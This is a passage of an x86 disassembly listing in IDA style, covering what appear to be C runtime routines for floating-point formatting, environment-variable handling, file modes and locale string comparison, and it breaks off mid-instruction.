loc_425886: ; CODE XREF: sub_4256C2+1CFj lea eax, [ebp+var_10] push eax call sub_4250FD dec esi pop ecx jnz short loc_425886 loc_425893: ; CODE XREF: sub_4256C2+1B8j ; sub_4256C2+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_4258F0 mov [ebp+arg_C], ecx loc_4258A3: ; CODE XREF: sub_4256C2+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_4250CF lea eax, [ebp+var_10] push eax call sub_4250CF lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_425071 lea eax, [ebp+var_10] push eax call sub_4250CF mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_4258A3 mov eax, [ebp+arg_14] loc_4258F0: ; CODE XREF: sub_4256C2+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_42592D loc_4258FD: ; CODE XREF: sub_4256C2+248j cmp eax, ecx jb short loc_425910 cmp byte ptr [eax], 39h jnz short loc_42590C mov byte ptr [eax], 30h dec eax jmp short loc_4258FD ; --------------------------------------------------------------------------- loc_42590C: ; CODE XREF: sub_4256C2+242j cmp eax, ecx jnb short loc_425914 loc_425910: ; CODE XREF: sub_4256C2+23Dj inc eax inc word ptr [ebx] loc_425914: ; CODE XREF: sub_4256C2+24Cj inc byte ptr [eax] loc_425916: ; CODE XREF: sub_4256C2+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_425925: ; CODE XREF: sub_4256C2+F0j mov eax, [ebp+var_4] loc_425928: ; CODE XREF: sub_4256C2+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_42592D: ; CODE XREF: sub_4256C2+239j ; sub_4256C2+275j cmp eax, ecx jb short loc_42593D cmp byte ptr [eax], 30h jnz short loc_425939 dec eax jmp short loc_42592D ; --------------------------------------------------------------------------- loc_425939: ; CODE XREF: sub_4256C2+272j cmp eax, ecx jnb short loc_425916 loc_42593D: ; CODE XREF: sub_4256C2+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_42594C: ; CODE XREF: sub_4256C2+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_425928 sub_4256C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425955 proc near ; CODE XREF: sub_42255C+226Dp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_4259BC dec eax dec eax jz short loc_4259AD sub eax, 4 jz short loc_4259AD sub eax, 3 jz short loc_4259AD sub eax, 4 jz short loc_4259A0 sub eax, 6 jz short loc_425993 dec eax jz short loc_425986 or eax, 0FFFFFFFFh jmp loc_425A7E ; --------------------------------------------------------------------------- loc_425986: ; CODE XREF: sub_425955+27j mov esi, dword_4DB57C mov eax, offset dword_4DB57C jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_425993: ; CODE XREF: sub_425955+24j mov esi, dword_4DB578 mov eax, offset dword_4DB578 jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259A0: ; CODE XREF: sub_425955+1Fj mov esi, dword_4DB580 mov eax, offset dword_4DB580 jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259AD: ; CODE XREF: sub_425955+10j ; sub_425955+15j ... push edi call sub_425A82 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259BC: ; CODE XREF: sub_425955+Cj mov esi, dword_4DB574 mov eax, offset dword_4DB574 loc_4259C7: ; CODE XREF: sub_425955+3Cj ; sub_425955+49j ... cmp esi, 1 jnz short loc_4259D3 xor eax, eax jmp loc_425A7E ; --------------------------------------------------------------------------- loc_4259D3: ; CODE XREF: sub_425955+75j test esi, esi jnz short loc_4259DE push 3 call sub_41B7C2 loc_4259DE: ; CODE XREF: sub_425955+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_4259F0 cmp edi, 0Bh jz short loc_4259F0 cmp edi, 4 jnz short loc_425A16 loc_4259F0: ; CODE XREF: sub_425955+8Fj ; sub_425955+94j mov ebx, dword_4DB350 and dword_4DB350, 0 cmp edi, ecx jnz short loc_425A45 mov edx, dword_43C94C mov dword_43C94C, 8Ch mov [ebp+arg_0], edx jmp short loc_425A19 ; --------------------------------------------------------------------------- loc_425A16: ; CODE XREF: sub_425955+99j mov ebx, [ebp+arg_0] loc_425A19: ; CODE XREF: sub_425955+BFj cmp edi, ecx jnz short loc_425A45 mov eax, dword_43C940 mov ecx, dword_43C944 add ecx, eax cmp eax, ecx jge short loc_425A4C lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:43C8D0h[edx*4] loc_425A3A: ; CODE XREF: sub_425955+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_425A3A jmp short loc_425A4C ; --------------------------------------------------------------------------- loc_425A45: ; CODE XREF: sub_425955+AAj ; sub_425955+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_425A5A loc_425A4C: ; CODE XREF: sub_425955+D7j ; sub_425955+EEj push dword_43C94C push 8 call esi pop ecx pop ecx jmp short loc_425A68 ; --------------------------------------------------------------------------- loc_425A5A: ; CODE XREF: sub_425955+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_425A68 cmp edi, 4 jnz short loc_425A7B loc_425A68: ; CODE XREF: sub_425955+103j ; sub_425955+10Cj cmp edi, 8 mov dword_4DB350, ebx jnz short loc_425A7B mov eax, [ebp+arg_0] mov dword_43C94C, eax loc_425A7B: ; CODE XREF: sub_425955+111j ; sub_425955+11Cj xor eax, eax pop ebx loc_425A7E: ; CODE XREF: sub_425955+2Cj ; sub_425955+79j pop edi pop esi pop ebp retn sub_425955 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_425A82 proc near ; CODE XREF: sub_425955+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43C948 cmp dword_43C8CC, edx push esi mov eax, offset dword_43C8C8 jz short loc_425AB0 lea esi, [ecx+ecx*2] lea esi, ds:43C8C8h[esi*4] loc_425AA4: ; CODE XREF: sub_425A82+2Cj add eax, 0Ch cmp eax, esi jnb short loc_425AB0 cmp [eax+4], edx jnz short loc_425AA4 loc_425AB0: ; CODE XREF: sub_425A82+16j ; sub_425A82+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43C8C8h[ecx*4] cmp eax, ecx jnb short loc_425AC4 cmp [eax+4], edx jz short locret_425AC6 loc_425AC4: ; CODE XREF: sub_425A82+3Bj xor eax, eax locret_425AC6: ; CODE XREF: sub_425A82+40j retn sub_425A82 endp ; =============== S U B R O U T I N E ======================================= sub_425AC7 proc near ; CODE XREF: sub_4247EC+23p arg_0 = dword ptr 4 cmp dword_4DC910, 0 push ebx push esi mov esi, dword_4DB2A0 push edi jz short loc_425B3E test esi, esi jnz short loc_425AF8 cmp dword_4DB2A8, esi jz short loc_425B3E call sub_425E95 test eax, eax jnz short loc_425B3E mov esi, dword_4DB2A0 test esi, esi jz short loc_425B3E loc_425AF8: ; CODE XREF: sub_425AC7+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_425B3E push ebx call sub_41AFE0 pop ecx mov edi, eax loc_425B09: ; CODE XREF: sub_425AC7+6Dj mov eax, [esi] test eax, eax jz short loc_425B3E push eax call sub_41AFE0 cmp eax, edi pop ecx jbe short loc_425B31 mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_425B31 push edi push ebx push eax call sub_425E56 add esp, 0Ch test eax, eax jz short loc_425B36 loc_425B31: ; CODE XREF: sub_425AC7+51j ; sub_425AC7+59j add esi, 4 jmp short loc_425B09 ; --------------------------------------------------------------------------- loc_425B36: ; CODE XREF: sub_425AC7+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_425B40 ; --------------------------------------------------------------------------- loc_425B3E: ; CODE XREF: sub_425AC7+10j ; sub_425AC7+1Cj ... xor eax, eax loc_425B40: ; CODE XREF: sub_425AC7+75j pop edi pop esi pop ebx retn sub_425AC7 endp ; =============== S U B R O U T I N E ======================================= sub_425B44 proc near ; CODE XREF: sub_424F0A+8Bp ; sub_424F0A+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DC6C0 jnb short loc_425BAB mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DC5C0[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_425BAB mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_425B84 and cl, 7Fh jmp short loc_425B91 ; --------------------------------------------------------------------------- loc_425B84: ; CODE XREF: sub_425B44+39j cmp [esp+4+arg_4], 4000h jnz short loc_425B9F or cl, 80h loc_425B91: ; CODE XREF: sub_425B44+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_425B9F: ; CODE XREF: sub_425B44+48j mov dword_4DB278, 16h jmp short loc_425BB5 ; --------------------------------------------------------------------------- loc_425BAB: ; CODE XREF: sub_425B44+Bj ; sub_425B44+27j mov dword_4DB278, 9 loc_425BB5: ; CODE XREF: sub_425B44+65j or eax, 0FFFFFFFFh pop esi retn sub_425B44 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425BBA proc near ; CODE XREF: sub_4256C2+165p ; sub_425DDA+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_425DBA cmp cx, 7FFFh jnb loc_425DBA cmp dx, 0BFFDh ja loc_425DBA cmp dx, 3FBFh ja short loc_425C23 xor eax, eax jmp short loc_425C5D ; --------------------------------------------------------------------------- loc_425C23: ; CODE XREF: sub_425BBA+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_425C45 inc [ebp+arg_0] test [esi+8], edx jnz short loc_425C45 xor eax, eax cmp [esi+4], eax jnz short loc_425C47 cmp [esi], eax jnz short loc_425C47 jmp loc_425DB4 ; --------------------------------------------------------------------------- loc_425C45: ; CODE XREF: sub_425BBA+71j ; sub_425BBA+79j xor eax, eax loc_425C47: ; CODE XREF: sub_425BBA+80j ; sub_425BBA+84j cmp cx, ax jnz short loc_425C6A inc [ebp+arg_0] test [ebx+8], edx jnz short loc_425C6A cmp [ebx+4], eax jnz short loc_425C6A cmp [ebx], eax jnz short loc_425C6A loc_425C5D: ; CODE XREF: sub_425BBA+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_425DD5 ; --------------------------------------------------------------------------- loc_425C6A: ; CODE XREF: sub_425BBA+90j ; sub_425BBA+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_425C7A: ; CODE XREF: sub_425BBA+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_425CCE add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_425C96: ; CODE XREF: sub_425BBA+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_425050 add esp, 0Ch test eax, eax jz short loc_425CC1 mov eax, [ebp+var_4] inc word ptr [eax] loc_425CC1: ; CODE XREF: sub_425BBA+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_425C96 loc_425CCE: ; CODE XREF: sub_425BBA+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_425C7A add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_425D11 loc_425CEC: ; CODE XREF: sub_425BBA+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_425D0A lea eax, [ebp+var_24] push eax call sub_4250CF add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_425CEC loc_425D0A: ; CODE XREF: sub_425BBA+136j cmp word ptr [ebp+arg_0], 0 jg short loc_425D4A loc_425D11: ; CODE XREF: sub_425BBA+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_425D4A movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_425D2A: ; CODE XREF: sub_425BBA+184j test byte ptr [ebp+var_24], 1 jz short loc_425D33 inc [ebp+var_14] loc_425D33: ; CODE XREF: sub_425BBA+174j lea eax, [ebp+var_24] push eax call sub_4250FD dec ebx pop ecx jnz short loc_425D2A cmp [ebp+var_14], 0 jz short loc_425D4A or byte ptr [ebp+var_24], 1 loc_425D4A: ; CODE XREF: sub_425BBA+155j ; sub_425BBA+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_425D61 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_425D96 loc_425D61: ; CODE XREF: sub_425BBA+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_425D93 and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_425D8E and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_425D88 inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D88: ; CODE XREF: sub_425BBA+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D8E: ; CODE XREF: sub_425BBA+1B5j inc [ebp+var_20+2] jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D93: ; CODE XREF: sub_425BBA+1ABj inc [ebp+var_24+2] loc_425D96: ; CODE XREF: sub_425BBA+1A5j ; sub_425BBA+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_425DBA mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_425DB4: ; CODE XREF: sub_425BBA+86j mov [esi+0Ah], ax jmp short loc_425DD5 ; --------------------------------------------------------------------------- loc_425DBA: ; CODE XREF: sub_425BBA+42j ; sub_425BBA+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_425DD5: ; CODE XREF: sub_425BBA+ABj ; sub_425BBA+1FEj pop edi pop esi pop ebx leave retn sub_425BBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425DDA proc near ; CODE XREF: sub_4251F1+440p ; sub_4256C2+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_43CDC8 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_425E53 jge short loc_425E02 mov eax, [ebp+arg_4] mov ebx, offset dword_43CF28 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_425E02: ; CODE XREF: sub_425DDA+16j cmp [ebp+arg_8], ecx jnz short loc_425E0D mov eax, [ebp+arg_0] mov [eax], cx loc_425E0D: ; CODE XREF: sub_425DDA+2Bj cmp [ebp+arg_4], ecx jz short loc_425E53 push esi push edi loc_425E14: ; CODE XREF: sub_425DDA+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_425E4C lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_425E3F lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_425E3F: ; CODE XREF: sub_425DDA+57j push esi push [ebp+arg_0] call sub_425BBA pop ecx pop ecx xor ecx, ecx loc_425E4C: ; CODE XREF: sub_425DDA+49j cmp [ebp+arg_4], ecx jnz short loc_425E14 pop edi pop esi loc_425E53: ; CODE XREF: sub_425DDA+14j ; sub_425DDA+36j pop ebx leave retn sub_425DDA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425E56 proc near ; CODE XREF: sub_425AC7+5Ep ; sub_426332+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_425E63 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_425E63: ; CODE XREF: sub_425E56+7j push dword_4DC6C4 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_4DC8E4 call sub_425F03 add esp, 1Ch test eax, eax jnz short loc_425E90 mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_425E90: ; CODE XREF: sub_425E56+31j add eax, 0FFFFFFFEh pop ebp retn sub_425E56 endp ; =============== S U B R O U T I N E ======================================= sub_425E95 proc near ; CODE XREF: sub_425AC7+1Ep ; sub_4261AB+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_4DB2A8 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_425EF6 mov ebx, dword_42717C loc_425EAE: ; CODE XREF: sub_425E95+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx mov ebp, eax cmp ebp, edi jz short loc_425EFE push ebp call sub_41B4D5 cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_425EFE push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx test eax, eax jz short loc_425EFE push edi push [esp+18h+var_4] call sub_4261AB mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_425EAE loc_425EF6: ; CODE XREF: sub_425E95+11j xor eax, eax loc_425EF8: ; CODE XREF: sub_425E95+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_425EFE: ; CODE XREF: sub_425E95+29j ; sub_425E95+38j ... or eax, 0FFFFFFFFh jmp short loc_425EF8 sub_425E95 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425F03 proc near ; CODE XREF: sub_425E56+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427CF0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_4DB588, ebx push 1 pop edi jnz short loc_425F76 push edi mov eax, offset dword_427940 push eax push edi push eax push ebx push ebx call near ptr 25D0000h nop test eax, eax jz short loc_425F53 mov dword_4DB588, edi jmp short loc_425F76 ; --------------------------------------------------------------------------- loc_425F53: ; CODE XREF: sub_425F03+46j push edi mov eax, offset dword_4CAE2C push eax push edi push eax push ebx push ebx nop call near ptr 25D0590h test eax, eax jz loc_42616C mov dword_4DB588, 2 loc_425F76: ; CODE XREF: sub_425F03+31j ; sub_425F03+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_425F8D push esi push [ebp+arg_8] call sub_426180 pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_425F8D: ; CODE XREF: sub_425F03+78j cmp [ebp+arg_14], ebx jle short loc_425FA2 push [ebp+arg_14] push [ebp+arg_10] call sub_426180 pop ecx pop ecx mov [ebp+arg_14], eax loc_425FA2: ; CODE XREF: sub_425F03+8Dj mov eax, dword_4DB588 cmp eax, 2 jnz short loc_425FC7 push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call near ptr 25D0590h nop jmp loc_42616E ; --------------------------------------------------------------------------- loc_425FC7: ; CODE XREF: sub_425F03+A7j cmp eax, edi jnz loc_42616C cmp [ebp+arg_18], ebx jnz short loc_425FDC mov eax, dword_4DB344 mov [ebp+arg_18], eax loc_425FDC: ; CODE XREF: sub_425F03+CFj cmp esi, ebx jz short loc_425FE9 cmp [ebp+arg_14], ebx jnz loc_426081 loc_425FE9: ; CODE XREF: sub_425F03+DBj cmp esi, [ebp+arg_14] jnz short loc_425FF6 loc_425FEE: ; CODE XREF: sub_425F03+13Cj ; sub_425F03+16Dj push 2 loc_425FF0: ; CODE XREF: sub_425F03+146j pop eax jmp loc_42616E ; --------------------------------------------------------------------------- loc_425FF6: ; CODE XREF: sub_425F03+E9j cmp [ebp+arg_14], edi jle short loc_426002 loc_425FFB: ; CODE XREF: sub_425F03+151j ; sub_425F03+159j ... mov eax, edi jmp loc_42616E ; --------------------------------------------------------------------------- loc_426002: ; CODE XREF: sub_425F03+F6j cmp esi, edi jg short loc_426047 lea eax, [ebp+var_3C] push eax push [ebp+arg_18] nop call near ptr 2880000h test eax, eax jz loc_42616C cmp esi, ebx jle short loc_42604B cmp [ebp+var_3C], 2 jb short loc_426047 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_426047 loc_42602D: ; CODE XREF: sub_425F03+142j mov dl, [eax+1] cmp dl, bl jz short loc_426047 mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_426041 cmp cl, dl jbe short loc_425FEE loc_426041: ; CODE XREF: sub_425F03+138j inc eax inc eax cmp [eax], bl jnz short loc_42602D loc_426047: ; CODE XREF: sub_425F03+101j ; sub_425F03+120j ... push 3 jmp short loc_425FF0 ; --------------------------------------------------------------------------- loc_42604B: ; CODE XREF: sub_425F03+11Aj cmp [ebp+arg_14], ebx jle short loc_426081 cmp [ebp+var_3C], 2 jb short loc_425FFB lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_425FFB loc_42605E: ; CODE XREF: sub_425F03+177j mov dl, [eax+1] cmp dl, bl jz short loc_425FFB mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_426076 cmp cl, dl jbe loc_425FEE loc_426076: ; CODE XREF: sub_425F03+169j inc eax inc eax cmp [eax], bl jnz short loc_42605E jmp loc_425FFB ; --------------------------------------------------------------------------- loc_426081: ; CODE XREF: sub_425F03+E0j ; sub_425F03+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] nop call near ptr 27F0000h mov [ebp+var_1C], eax cmp eax, ebx jz loc_42616C mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_4260D0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_4260D0: ; CODE XREF: sub_425F03+1B5j cmp [ebp+var_24], ebx jz loc_42616C push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, dword_427180 call esi test eax, eax jz short loc_42616C push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_42616C mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_42613B ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_42613B: ; CODE XREF: sub_425F03+224j cmp edi, ebx jz short loc_42616C push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] call near ptr 27F0000h nop test eax, eax jz short loc_42616C push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 25D0000h jmp short loc_42616E ; --------------------------------------------------------------------------- loc_42616C: ; CODE XREF: sub_425F03+63j ; sub_425F03+C6j ... xor eax, eax loc_42616E: ; CODE XREF: sub_425F03+BFj ; sub_425F03+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_425F03 endp ; =============== S U B R O U T I N E ======================================= sub_426180 proc near ; CODE XREF: sub_422ACA+81p ; sub_425F03+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_42619D loc_426190: ; CODE XREF: sub_426180+1Bj cmp byte ptr [eax], 0 jz short loc_42619D inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_426190 loc_42619D: ; CODE XREF: sub_426180+Ej ; sub_426180+13j cmp byte ptr [eax], 0 pop esi jnz short loc_4261A8 sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_4261A8: ; CODE XREF: sub_426180+21j mov eax, edx retn sub_426180 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4261AB proc near ; CODE XREF: sub_425E95+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_42620F push 3Dh push [ebp+arg_0] call sub_4263F1 mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_42620F cmp [ebp+arg_0], esi jz short loc_42620F mov eax, dword_4DB2A0 xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_4DB2A4 jnz short loc_4261F5 push eax call sub_42638A pop ecx mov dword_4DB2A0, eax loc_4261F5: ; CODE XREF: sub_4261AB+3Cj cmp eax, edi jnz short loc_42624D cmp [ebp+arg_4], edi jz short loc_426217 cmp dword_4DB2A8, edi jz short loc_426217 call sub_425E95 test eax, eax jz short loc_42624D loc_42620F: ; CODE XREF: sub_4261AB+Dj ; sub_4261AB+22j ... or eax, 0FFFFFFFFh loc_426212: ; CODE XREF: sub_4261AB+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_426217: ; CODE XREF: sub_4261AB+51j ; sub_4261AB+59j cmp ebx, edi jnz loc_42632B push 4 call sub_41B4D5 cmp eax, edi pop ecx mov dword_4DB2A0, eax jz short loc_42620F mov [eax], edi cmp dword_4DB2A8, edi jnz short loc_42624D push 4 call sub_41B4D5 cmp eax, edi pop ecx mov dword_4DB2A8, eax jz short loc_42620F mov [eax], edi loc_42624D: ; CODE XREF: sub_4261AB+4Cj ; sub_4261AB+62j ... sub esi, [ebp+arg_0] mov edi, dword_4DB2A0 mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_426332 mov esi, eax pop ecx test esi, esi pop ecx jl short loc_4262AD cmp dword ptr [edi], 0 jz short loc_4262AD test ebx, ebx jz short loc_4262A5 push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_41B0B1 pop ecx loc_42627F: ; CODE XREF: sub_4261AB+E2j cmp dword ptr [edi], 0 jz short loc_42628F mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_42627F ; --------------------------------------------------------------------------- loc_42628F: ; CODE XREF: sub_4261AB+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_41B202 pop ecx test eax, eax pop ecx jz short loc_4262DF jmp short loc_4262DA ; --------------------------------------------------------------------------- loc_4262A5: ; CODE XREF: sub_4261AB+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_4262DF ; --------------------------------------------------------------------------- loc_4262AD: ; CODE XREF: sub_4261AB+BDj ; sub_4261AB+C2j test ebx, ebx jnz short loc_42632B test esi, esi jge short loc_4262B7 neg esi loc_4262B7: ; CODE XREF: sub_4261AB+108j lea eax, ds:8[esi*4] push eax push edi call 